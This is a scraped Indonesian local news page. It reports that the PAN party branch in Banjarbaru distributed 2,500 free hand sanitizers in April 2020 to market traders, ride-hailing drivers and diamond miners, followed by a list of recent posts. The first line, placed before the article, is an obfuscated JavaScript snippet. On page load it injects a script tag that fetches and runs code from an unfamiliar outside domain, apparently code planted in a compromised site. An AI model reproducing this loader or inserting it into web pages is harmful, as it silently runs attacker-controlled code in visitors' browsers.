(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

DPD PAN Banjarbaru Sebar 2.500 Hand Sanitizer Gratis kepada Pedagang Pasar hingga Pendulang Intan


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Daerah (DPD) Partai Amanat Nasional (PAN) Kota Banjarbaru membagikan 2.500 hand sanitizer kepada masyarakat kelas bawah yang beraktivitas di luar rumah meskipun tengah dihadapkan dengan kondisi pandemi covid-19, pada Sabtu (11/4/2020) pagi.

Para kader partai besutan Amien Rais ini membagikan ribuan hand sanitizer disejumlah lokasi yang menjadi tempat bekerja masyarakat. Seperti halnya di Pasar Ulin dan Pasar Bauntung, kota Banjarbaru, yang menyasar kepada para pedagang. Lalu, kepada para pengendara Ojek Online (Ojol), serta para pendulang intan di Kecamatan Cempaka.

Ketua DPD PAN Kota Banjarbaru, Emi Lasari, mengungkapkan bahwa pembagian hand sanitizier merupakan salah satu upaya pihaknya dalam memutus rantai penyebaran covid-19. Mengingat, saat ini masyarakat juga kesulitan mendapatkan hand sanitizer karena langka dan harga jualnya yang sangat tinggi dipasaran.

“Kita sangat memahami kondisi masyarakat. Meskipun sudah dihimbau untuk tidak keluar rumah, tapi mau tidak mau mereka harus keluar untuk mencari nafkah. Inilah yang menjadi perhatian dan prioritas kita. Dengan dibagikannya hand sanitizer ini, setidaknya membantu mereka untuk menerapkan pola hidup bersih saat sedang berada di luar rumah,” katanya.

Diakui Emi, untuk mendapatkan ribuan hand sanitizer dengan harga yang terjangkau, pihaknya berinisiatif untuk membeli cairannya saja. Lalu, dengan tangan sendiri, dilakukan reffil (pengisian kembali) dan dimasukan kedalam kemasan botol.

Legislatif DPRD Banjarbaru dua periode tersebut, menuturkan selama satu bulan ini pihaknya telah melakukan dan menggalakan langkah-langkah penanganan covid-19, seperti halnya penyiraman cairan disinfektan. Disamping itu juga, saat ini DPD PAN Kota Banjarbaru tengah memproduksi masker non-medis dan rencananya akan di distribusikan dengan jumlah mencapai 1.200 lembar.

“Insya Allah, minggu depan masker sudah bisa dibagikan kepada masyarakat. Intinya, saat ini kita tidak bisa hanya mengandalkan Pemerintah Daerah saja. Kita ingin memberikan edukasi kepada masyarakat bahwa persoalan covid-19 ini adalah persoalan bersama,” pungkas Emi.

Dari pantauan Kanalkalimantan.com di Pasar Bauntung Banjarbaru, para pedagang begitu antusias saat menerima hand santizer yang dibagikan secara cuma-cuma tersebut. Dalam kesempatan tersebut, para kader DPD PAN Banjarbaru juga turut memberikan imbauan kepada para pedagang untuk tetap menerapkan sosial distancing dan mengenakan masker jika memang memiliki. (Kanalkalimantan.com/rico)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.